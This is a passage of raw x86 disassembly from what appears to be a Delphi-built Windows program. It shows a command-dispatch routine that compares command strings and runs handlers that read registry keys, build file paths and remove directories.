mov eax, dword [ebp - 0x420]
call fcn.005939c8
push dword [ebp - 0x166c]
push 0x5aeed0
lea eax, [ebp - 0x1668]
mov edx, 5
call fcn.00405e2c
mov edx, dword [ebp - 0x1668]
mov eax, dword [ebp - 0x3c0]
pop ecx
call fcn.00589c00
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5aef1c
call fcn.00405ec0
jne 0x59fc32
lea eax, [ebp - 0x1670]
push eax
lea ecx, [ebp - 0x1674]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1674]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1670]
mov edx, 0x5ae048
call fcn.00405ec0
jne 0x59fb8c
mov eax, 0x5dcca4
mov edx, 0x5ade30
call fcn.00405aec
lea eax, [ebp - 0x1678]
push eax
lea ecx, [ebp - 0x167c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x167c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1678]
mov edx, 0x5ae048
call fcn.00405ec0
jne 0x59fbdf
mov eax, 0x5dcca4
mov edx, 0x5aef34
call fcn.00405aec
lea eax, [ebp - 0x1680]
push eax
lea ecx, [ebp - 0x1684]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1684]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1680]
mov edx, 0x5ae048
call fcn.00405ec0
jne 0x59fc32
mov eax, 0x5dcca4
mov edx, 0x5aef44
call fcn.00405aec
mov eax, dword [ebp - 0x438]
mov edx, 0x5aef50
call fcn.00405ec0
jne 0x59fd1c
lea edx, [ebp - 0x1688]
mov eax, 0x5aef6c
call fcn.0058fff8
mov eax, dword [ebp - 0x1688]
call fcn.005936d4
test al, al
je 0x5ad501
lea edx, [ebp - 0x1694]
mov eax, dword [ebp + 8]
call fcn.0040bbcc
mov eax, dword [ebp - 0x1694]
lea edx, [ebp - 0x1690]
call fcn.00589dcc
push dword [ebp - 0x1690]
lea edx, [ebp - 0x1698]
mov eax, dword [ebp + 8]
call fcn.00589d2c
push dword [ebp - 0x1698]
push 0x5adfec
lea eax, [ebp - 0x168c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x168c]
call fcn.0040b8f0
test al, al
jne 0x5ad501
lea eax, [ebp - 0x169c]
call fcn.0058e6a0
mov edx, dword [ebp - 0x169c]
mov eax, 0x5dcd0c
call fcn.00405aec
lea eax, [ebp - 0x16a0]
call fcn.0058e6a0
mov edx, dword [ebp - 0x16a0]
mov eax, 0x5dcd10
call fcn.00405aec
mov byte [0x5dcca0], 1
mov byte [0x5dcca1], 0
push ebp
call fcn.00594180
pop ecx
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5aef80
call fcn.00405ec0
jne 0x59fdbb
xor eax, eax
push ebp
push 0x59fdb4
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x16a8]
push eax
lea ecx, [ebp - 0x16ac]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x16ac]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x16a8]
lea edx, [ebp - 0x16a4]
call fcn.005939c8
mov eax, dword [ebp - 0x16a4]
mov cl, 1
mov dl, 1
call fcn.00591b08
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5aefa0
call fcn.00405ec0
jne 0x59feac
xor eax, eax
push ebp
push 0x59fea5
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x16b4]
push eax
lea ecx, [ebp - 0x16b8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x16b8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x16b4]
lea edx, [ebp - 0x16b0]
call fcn.005939c8
mov eax, dword [ebp - 0x16b0]
call fcn.0040b8f0
test al, al
je 0x59fe88
lea eax, [ebp - 0x16c0]
push eax
lea ecx, [ebp - 0x16c4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x16c4]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x16c0]
lea edx, [ebp - 0x16bc]
call fcn.005939c8
mov eax, dword [ebp - 0x16bc]
xor ecx, ecx
mov dl, 1
call fcn.005915dc
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5aefc0
call fcn.00405ec0
je 0x59fed4
mov eax, dword [ebp - 0x438]
mov edx, 0x5aefd8
call fcn.00405ec0
jne 0x5a1de8
mov eax, 0x5dcd3c
call fcn.00405a98
xor eax, eax
push ebp
push 0x5a007f
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x554], eax
lea edx, [ebp - 0x16c8]
mov eax, 0x5adf94
call fcn.0058fff8
mov eax, dword [ebp - 0x16c8]
call fcn.005936d4
test al, al
je 0x59ff2f
mov edx, 0x80000002
mov eax, dword [ebp - 0x554]
call fcn.004309c4
jmp 0x59ff3f
mov edx, 0x80000001
mov eax, dword [ebp - 0x554]
call fcn.004309c4
mov eax, dword [0x5d6114]
cmp dword [eax], 1
jne 0x59ff59
mov edx, 0x80000002
mov eax, dword [ebp - 0x554]
call fcn.004309c4
mov eax, dword [ebp - 0x554]
mov dword [eax + 0x18], 0x20019
lea edx, [ebp - 0x16d0]
mov eax, 0x5ae38c
call fcn.0058fff8
mov ecx, dword [ebp - 0x16d0]
lea eax, [ebp - 0x16cc]
mov edx, 0x5ae414
call fcn.00405db0
mov edx, dword [ebp - 0x16cc]
xor ecx, ecx
mov eax, dword [ebp - 0x554]
call fcn.00430a2c
lea ecx, [ebp - 0x16d4]
mov edx, 0x5ae454
mov eax, dword [ebp - 0x554]
call fcn.00431090
mov edx, dword [ebp - 0x16d4]
mov eax, 0x5dcd3c
call fcn.00405aec
mov edx, dword [0x5dcd3c]
mov eax, 0x5ae46c
call fcn.0041038c
mov edx, eax
mov eax, 0x5dcd3c
mov ecx, 1
call fcn.00405fd0
mov eax, dword [0x5dcd3c]
mov dword [ebp - 0x72c], eax
mov eax, dword [ebp - 0x72c]
mov dword [ebp - 0x730], eax
cmp dword [ebp - 0x730], 0
je 0x5a0017
mov eax, dword [ebp - 0x730]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x730], eax
mov edx, dword [0x5dcd3c]
mov eax, 0x5ae46c
call fcn.0041038c
mov edx, eax
mov eax, 0x5dcd3c
mov ecx, dword [ebp - 0x730]
call fcn.00405fd0
lea edx, [ebp - 0x16dc]
mov eax, dword [0x5dcd3c]
call fcn.0040bbcc
mov eax, dword [ebp - 0x16dc]
lea edx, [ebp - 0x16d8]
call fcn.00589dcc
mov edx, dword [ebp - 0x16d8]
mov eax, 0x5dcd3c
call fcn.00405aec
mov eax, dword [ebp - 0x554]
call fcn.00404b38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a0093
cmp dword [0x5d565c], 0
je 0x5a00bc
lea edx, [ebp - 0x16e0]
mov eax, dword [0x5d565c]
call fcn.00589dcc
mov edx, dword [ebp - 0x16e0]
mov eax, 0x5dcd3c
call fcn.00405aec
cmp dword [0x5dcd78], 3
jne 0x5a0121
lea eax, [ebp - 0x16e4]
mov ecx, dword [0x5dcd08]
mov edx, dword [0x5dcd3c]
call fcn.00405db0
mov eax, dword [ebp - 0x16e4]
call fcn.0040b8f0
test al, al
jne 0x5a0121
lea eax, [ebp - 0x16e8]
mov ecx, dword [0x5dcd08]
mov edx, dword [0x5dcd28]
call fcn.00405db0
mov eax, dword [ebp - 0x16e8]
call fcn.0040b8f0
test al, al
je 0x5a0121
mov eax, 0x5dcd3c
mov edx, dword [0x5dcd28]
call fcn.00405aec
cmp dword [0x5dcd78], 3
jne 0x5a0150
lea eax, [ebp - 0x16ec]
mov ecx, dword [0x5dcd08]
mov edx, dword [0x5dcd3c]
call fcn.00405db0
mov eax, dword [ebp - 0x16ec]
call fcn.0040b8f0
test al, al
je 0x5a0187
cmp dword [0x5dcd78], 3
je 0x5a0577
lea eax, [ebp - 0x16f0]
mov ecx, dword [0x5dcd08]
mov edx, dword [0x5dcd28]
call fcn.00405db0
mov eax, dword [ebp - 0x16f0]
call fcn.0040b8f0
test al, al
jne 0x5a0577
lea edx, [ebp - 0x16f4]
mov eax, 0x5ae598
call fcn.0058fff8
mov eax, dword [ebp - 0x16f4]
call fcn.005936d4
test al, al
jne 0x5a01bc
mov eax, dword [ebp - 0x438]
mov edx, 0x5aefd8
call fcn.00405ec0
jne 0x5a0577
cmp dword [0x5dcd78], 2
je 0x5a0577
mov eax, dword [ebp - 0x438]
mov edx, 0x5aefd8
call fcn.00405ec0
je 0x5a0220
lea eax, [ebp - 0x16f8]
push eax
lea ecx, [ebp - 0x16fc]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x16fc]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x16f8]
call fcn.005936d4
test al, al
je 0x5a0577
mov byte [ebp - 0x595], 0
mov byte [ebp - 0x596], 0
cmp byte [0x5dccf4], 0
je 0x5a0240
mov byte [ebp - 0x595], 1
jmp 0x5a0262
mov eax, dword [0x5dccc4]
push eax
lea ecx, [ebp - 0x3c0]
mov eax, dword [0x5d593c]
mov eax, dword [eax]
xor edx, edx
call fcn.0042d8e8
xor al, 1
mov byte [ebp - 0x595], al
lea edx, [ebp - 0x1700]
mov eax, dword [ebp - 0x3c0]
call fcn.00589dcc
lea eax, [ebp - 0x1700]
mov edx, dword [0x5dcd08]
call fcn.00405d64
mov eax, dword [ebp - 0x1700]
call fcn.0040b8f0
test al, al
jne 0x5a02d8
lea edx, [ebp - 0x1708]
mov eax, dword [ebp - 0x3c0]
call fcn.00589dcc
push dword [ebp - 0x1708]
push 0x5ae6e8
push dword [0x5dcd08]
lea eax, [ebp - 0x1704]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1704]
call fcn.0040b8f0
test al, al
jne 0x5a02d8
xor eax, eax
jmp 0x5a02da
mov al, 1
mov byte [ebp - 0x596], al
movzx eax, byte [ebp - 0x595]
or al, byte [ebp - 0x596]
je 0x5a022e
cmp byte [ebp - 0x596], 0
je 0x5a038f
lea edx, [ebp - 0x170c]
mov eax, dword [ebp - 0x3c0]
call fcn.00589dcc
lea eax, [ebp - 0x170c]
mov edx, dword [0x5dcd08]
call fcn.00405d64
mov eax, dword [ebp - 0x170c]
call fcn.0040b8f0
test al, al
je 0x5a0354
lea edx, [ebp - 0x1710]
mov eax, dword [ebp - 0x3c0]
call fcn.00589dcc
mov edx, dword [ebp - 0x1710]
mov eax, 0x5dcd28
call fcn.00405aec
jmp 0x5a037a
lea edx, [ebp - 0x1714]
mov eax, dword [ebp - 0x3c0]
call fcn.00589dcc
mov edx, dword [ebp - 0x1714]
mov eax, 0x5dcd28
mov ecx, 0x5ae6e8
call fcn.00405db0
mov eax, 0x5dcd38
mov edx, dword [0x5dcd28]
call fcn.00405aec
jmp 0x5a0577
cmp byte [ebp - 0x595], 0
je 0x5a0577
mov edx, dword [0x5d5ee4]
mov edx, dword [edx]
mov ecx, 0x5aefec
mov eax, 0x5ae1bc
call fcn.00590064
mov eax, dword [ebp - 0x438]
mov edx, 0x5aefc0
call fcn.00405ec0
jne 0x5a04a0
lea eax, [ebp - 0x1718]
push eax
lea ecx, [ebp - 0x171c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x171c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
cmp dword [ebp - 0x1718], 0
je 0x5ad501
lea eax, [ebp - 0x1720]
push eax
lea ecx, [ebp - 0x1724]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1724]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1720]
lea edx, [ebp - 0x3c0]
call fcn.005b0084
cmp dword [ebp - 0x3c0], 0
jne 0x5a0486
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x1728]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1728]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov ecx, 0x5aefec
mov edx, 0x5af00c
mov eax, dword [ebp - 0x3c0]
call fcn.00590064
jmp 0x5ad501
lea eax, [ebp - 0x172c]
push eax
lea ecx, [ebp - 0x1730]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1730]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
cmp dword [ebp - 0x172c], 0
je 0x5ad501
lea eax, [ebp - 0x1734]
push eax
lea ecx, [ebp - 0x1738]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1738]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1734]
lea edx, [ebp - 0x3c0]
call fcn.005b0084
cmp dword [ebp - 0x3c0], 0
jne 0x5a055d
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x173c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x173c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov ecx, 0x5af01c
mov edx, 0x5af00c
mov eax, dword [ebp - 0x3c0]
call fcn.00590064
jmp 0x5ad501
cmp dword [0x5dcd78], 2
jne 0x5a0635
xor eax, eax
push ebp
push 0x5a05dc
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x3e4]
push eax
lea eax, [ebp - 0x3ec]
push eax
lea eax, [ebp - 0x3f0]
push eax
lea eax, [ebp - 0x3f4]
push eax
lea eax, [ebp - 0x3f8]
push eax
lea eax, [ebp - 0x621]
push eax
mov ecx, dword [ebp - 0x3e8]
mov edx, dword [ebp - 0x1d8]
mov eax, 0x5af038
call fcn.0059022c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a0635
mov eax, dword [0x5dcd20]
call fcn.00405f28
mov edx, eax
lea eax, [ebp - 0x1744]
call fcn.00405c90
mov edx, dword [ebp - 0x1744]
mov eax, 0x5af04c
call fcn.005c0668
push ebp
mov eax, 0x5af04c
call fcn.0059405c
pop ecx
push ebp
mov eax, dword [0x5dcd20]
call fcn.0059405c
pop ecx
mov eax, dword [ebp - 0x438]
mov edx, 0x5aefd8
call fcn.00405ec0
jne 0x5a07be
mov eax, 0x5dcd3c
mov edx, dword [0x5dcd28]
call fcn.00405aec
lea edx, [ebp - 0x174c]
mov eax, dword [ebp + 8]
call fcn.0040bbcc
mov eax, dword [ebp - 0x174c]
lea edx, [ebp - 0x1748]
call fcn.00589dcc
push dword [ebp - 0x1748]
lea edx, [ebp - 0x1750]
mov eax, dword [ebp + 8]
call fcn.00589d2c
push dword [ebp - 0x1750]
push 0x5adfec
lea eax, [ebp + 8]
mov edx, 3
call fcn.00405e2c
lea eax, [ebp - 0x1754]
call fcn.0058eed4
mov eax, dword [ebp - 0x1754]
push eax
lea edx, [ebp - 0x1758]
mov eax, dword [0x5dccd4]
call fcn.0042055c
mov eax, dword [ebp - 0x1758]
push eax
lea edx, [ebp - 0x175c]
mov eax, dword [ebp - 4]
call fcn.0042055c
mov eax, dword [ebp - 0x175c]
push eax
mov eax, dword [0x5dcd0c]
push eax
push 0
push 0
lea eax, [ebp - 0x3c0]
push eax
lea edx, [ebp - 0x1764]
mov eax, 0x5adf6c
call fcn.0058fff8
mov eax, dword [ebp - 0x1764]
lea edx, [ebp - 0x1760]
call fcn.0058ff30
mov eax, dword [ebp - 0x1760]
push eax
xor ecx, ecx
mov edx, dword [ebp + 8]
mov al, 1
call fcn.005c018c
mov dword [ebp - 0x564], eax
lea edx, [ebp - 0x176c]
mov eax, dword [ebp + 8]
call fcn.0040bbcc
mov eax, dword [ebp - 0x176c]
lea edx, [ebp - 0x1768]
call fcn.00589dcc
push dword [ebp - 0x1768]
lea edx, [ebp - 0x1770]
mov eax, dword [ebp + 8]
call fcn.00589d2c
push dword [ebp - 0x1770]
push 0x5af060
lea eax, [ebp + 8]
mov edx, 3
call fcn.00405e2c
jmp 0x5a0996
cmp dword [0x5dcd60], 0
je 0x5a0803
lea edx, [ebp - 0x1774]
mov eax, dword [0x5dcd60]
call fcn.004af15c
mov edx, dword [ebp - 0x1774]
mov eax, 0x5af070
call fcn.0058ef14
mov edx, dword [0x5dcda4]
mov eax, dword [ebp + 8]
call fcn.005c0710
mov edx, dword [0x5dcda8]
mov eax, dword [ebp + 8]
call fcn.005c0930
lea eax, [ebp - 0x1778]
call fcn.0058eed4
mov eax, dword [ebp - 0x1778]
push eax
lea edx, [ebp - 0x177c]
mov eax, dword [0x5dccd4]
call fcn.0042055c
mov eax, dword [ebp - 0x177c]
push eax
lea edx, [ebp - 0x1780]
mov eax, dword [ebp - 4]
call fcn.0042055c
mov eax, dword [ebp - 0x1780]
push eax
mov eax, dword [0x5dcd0c]
push eax
lea eax, [ebp - 0x1784]
push eax
lea ecx, [ebp - 0x1788]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1788]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1784]
call fcn.005936d4
push eax
lea eax, [ebp - 0x178c]
push eax
lea ecx, [ebp - 0x1790]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1790]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x178c]
call fcn.005936d4
test al, al
jne 0x5a0907
lea eax, [ebp - 0x1794]
push eax
lea ecx, [ebp - 0x1798]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1798]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1794]
call fcn.005936d4
test al, al
je 0x5a090b
xor eax, eax
jmp 0x5a090d
mov al, 1
push eax
lea eax, [ebp - 0x3c0]
push eax
lea edx, [ebp - 0x17a0]
mov eax, 0x5adf6c
call fcn.0058fff8
mov eax, dword [ebp - 0x17a0]
lea edx, [ebp - 0x179c]
call fcn.0058ff30
mov eax, dword [ebp - 0x179c]
push eax
lea eax, [ebp - 0x17a8]
push eax
lea ecx, [ebp - 0x17ac]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x17ac]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x17a8]
lea edx, [ebp - 0x17a4]
call fcn.00593624
mov ecx, dword [ebp - 0x17a4]
mov edx, dword [ebp + 8]
xor eax, eax
call fcn.005c018c
mov dword [ebp - 0x564], eax
cmp dword [ebp - 0x3c0], 0
je 0x5a09dd
mov eax, dword [ebp - 0x438]
mov edx, 0x5aefc0
call fcn.00405ec0
jne 0x5a09c8
mov ecx, 0x5aefec
mov edx, dword [ebp - 0x3c0]
mov eax, 0x5ae1bc
call fcn.00590064
jmp 0x5a09dd
mov ecx, 0x5af01c
mov edx, dword [ebp - 0x3c0]
mov eax, 0x5ae1bc
call fcn.00590064
mov eax, dword [ebp - 0x438]
mov edx, 0x5aefc0
call fcn.00405ec0
jne 0x5a0b3a
lea eax, [ebp - 0x17b0]
push eax
lea ecx, [ebp - 0x17b4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x17b4]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
cmp dword [ebp - 0x17b0], 0
je 0x5a0c7c
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x17b8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x17b8]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x3c0]
call fcn.005b0140
test al, al
jne 0x5a0aaf
lea edx, [ebp - 0x17bc]
mov eax, dword [ebp - 0x3c0]
call fcn.0040abac
mov eax, dword [ebp - 0x17bc]
push eax
lea eax, [ebp - 0x17c0]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x17c0]
xor edx, edx
pop eax
call fcn.0059002c
mov eax, dword [ebp - 0x564]
sub eax, 0xffffffff
je 0x5a0ac5
dec eax
je 0x5a0ad7
dec eax
je 0x5a0ae9
dec eax
je 0x5a0afb
jmp 0x5a0b1f
lea eax, [ebp - 0x3c4]
mov edx, 0x5af088
call fcn.00405b30
jmp 0x5a0b1f
lea eax, [ebp - 0x3c4]
mov edx, 0x5af00c
call fcn.00405b30
jmp 0x5a0b1f
lea eax, [ebp - 0x3c4]
mov edx, 0x5ae2f4
call fcn.00405b30
jmp 0x5a0b1f
lea eax, [ebp - 0x3c4]
mov edx, 0x5af098
call fcn.00405b30
mov ecx, 0x5aefec
mov edx, 0x5ae048
mov eax, 0x5ae21c
call fcn.00590064
mov ecx, 0x5aefec
mov edx, dword [ebp - 0x3c4]
mov eax, dword [ebp - 0x3c0]
call fcn.00590064
jmp 0x5a0c7c
lea eax, [ebp - 0x17c4]
push eax
lea ecx, [ebp - 0x17c8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x17c8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
cmp dword [ebp - 0x17c4], 0
je 0x5a0c7c
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x17cc]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x17cc]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x3c0]
call fcn.005b0140
test al, al
jne 0x5a0bf6
lea edx, [ebp - 0x17d0]
mov eax, dword [ebp - 0x3c0]
call fcn.0040abac
mov eax, dword [ebp - 0x17d0]
push eax
lea eax, [ebp - 0x17d4]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x17d4]
xor edx, edx
pop eax
call fcn.0059002c
mov eax, dword [ebp - 0x564]
sub eax, 0xffffffff
je 0x5a0c0c
dec eax
je 0x5a0c1e
dec eax
je 0x5a0c30
dec eax
je 0x5a0c42
jmp 0x5a0c66
lea eax, [ebp - 0x3c4]
mov edx, 0x5af088
call fcn.00405b30
jmp 0x5a0c66
lea eax, [ebp - 0x3c4]
mov edx, 0x5af00c
call fcn.00405b30
jmp 0x5a0c66
lea eax, [ebp - 0x3c4]
mov edx, 0x5ae2f4
call fcn.00405b30
jmp 0x5a0c66
lea eax, [ebp - 0x3c4]
mov edx, 0x5af098
call fcn.00405b30
mov ecx, 0x5af01c
mov edx, 0x5ae048
mov eax, 0x5ae21c
call fcn.00590064
mov ecx, 0x5af01c
mov edx, dword [ebp - 0x3c4]
mov eax, dword [ebp - 0x3c0]
call fcn.00590064
cmp dword [ebp - 0x564], 1
je 0x5a0c92
cmp dword [ebp - 0x564], 2
jne 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5aefd8
call fcn.00405ec0
je 0x5ad501
lea edx, [ebp - 0x17d8]
mov eax, 0x5adf94
call fcn.0058fff8
mov eax, dword [ebp - 0x17d8]
call fcn.005936d4
lea edx, [ebp - 0x3c0]
call fcn.0058f120
lea eax, [ebp - 0x3c8]
mov edx, dword [ebp - 0x3c0]
call fcn.00405b30
push dword [ebp - 0x3c0]
push dword [0x5dcd10]
push 0x5ae478
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405e2c
lea edx, [ebp - 0x17dc]
mov eax, dword [ebp + 8]
call fcn.00589d2c
mov eax, dword [ebp - 0x17dc]
push eax
lea edx, [ebp - 0x17e4]
mov eax, dword [ebp + 8]
call fcn.0040bbcc
mov eax, dword [ebp - 0x17e4]
lea edx, [ebp - 0x17e0]
call fcn.00589dcc
mov edx, dword [ebp - 0x17e0]
lea eax, [ebp - 0x3c4]
pop ecx
call fcn.00405db0
lea eax, [ebp - 0x17e8]
push eax
lea ecx, [ebp - 0x17ec]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x17ec]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x17e8]
call fcn.005936d4
test al, al
jne 0x5a0e2d
lea eax, [ebp - 0x17f0]
push eax
lea ecx, [ebp - 0x17f4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x17f4]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x17f0]
call fcn.005936d4
test al, al
jne 0x5a0e2d
lea eax, [ebp - 0x17f8]
mov ecx, 0x5af0a8
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov eax, dword [ebp - 0x17f8]
call fcn.0040b938
lea edx, [ebp - 0x17fc]
mov eax, 0x5ae058
call fcn.0058fff8
mov eax, dword [ebp - 0x17fc]
call fcn.005936d4
push eax
lea eax, [ebp - 0x1800]
mov ecx, 0x5af0a8
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov eax, dword [ebp - 0x1800]
pop edx
call fcn.004c95c0
jmp 0x5a0e54
lea eax, [ebp - 0x1804]
mov ecx, 0x5af0a8
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov eax, dword [ebp - 0x1804]
call fcn.00405f28
push eax
call sub.kernel32.dll_RemoveDirectoryA
lea eax, [ebp - 0x1808]
push eax
lea ecx, [ebp - 0x180c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x180c]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1808]
call fcn.005936d4
test al, al
jne 0x5a0f23
lea eax, [ebp - 0x1810]
push eax
lea ecx, [ebp - 0x1814]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1814]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1810]
call fcn.005936d4
test al, al
jne 0x5a1524
lea eax, [ebp - 0x1818]
push eax
lea ecx, [ebp - 0x181c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x181c]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1818]
call fcn.005936d4
test al, al
jne 0x5a1524
mov eax, dword [ebp - 0x3c0]
call fcn.0040b938
lea edx, [ebp - 0x1820]
mov eax, 0x5ae058
call fcn.0058fff8
mov eax, dword [ebp - 0x1820]
call fcn.005936d4
mov edx, eax
mov eax, dword [ebp - 0x3c0]
call fcn.004c95c0
cmp dword [0x5dcd78], 2
jne 0x5a0f9d
lea eax, [ebp - 0x1824]
mov ecx, dword [0x5dcd0c]
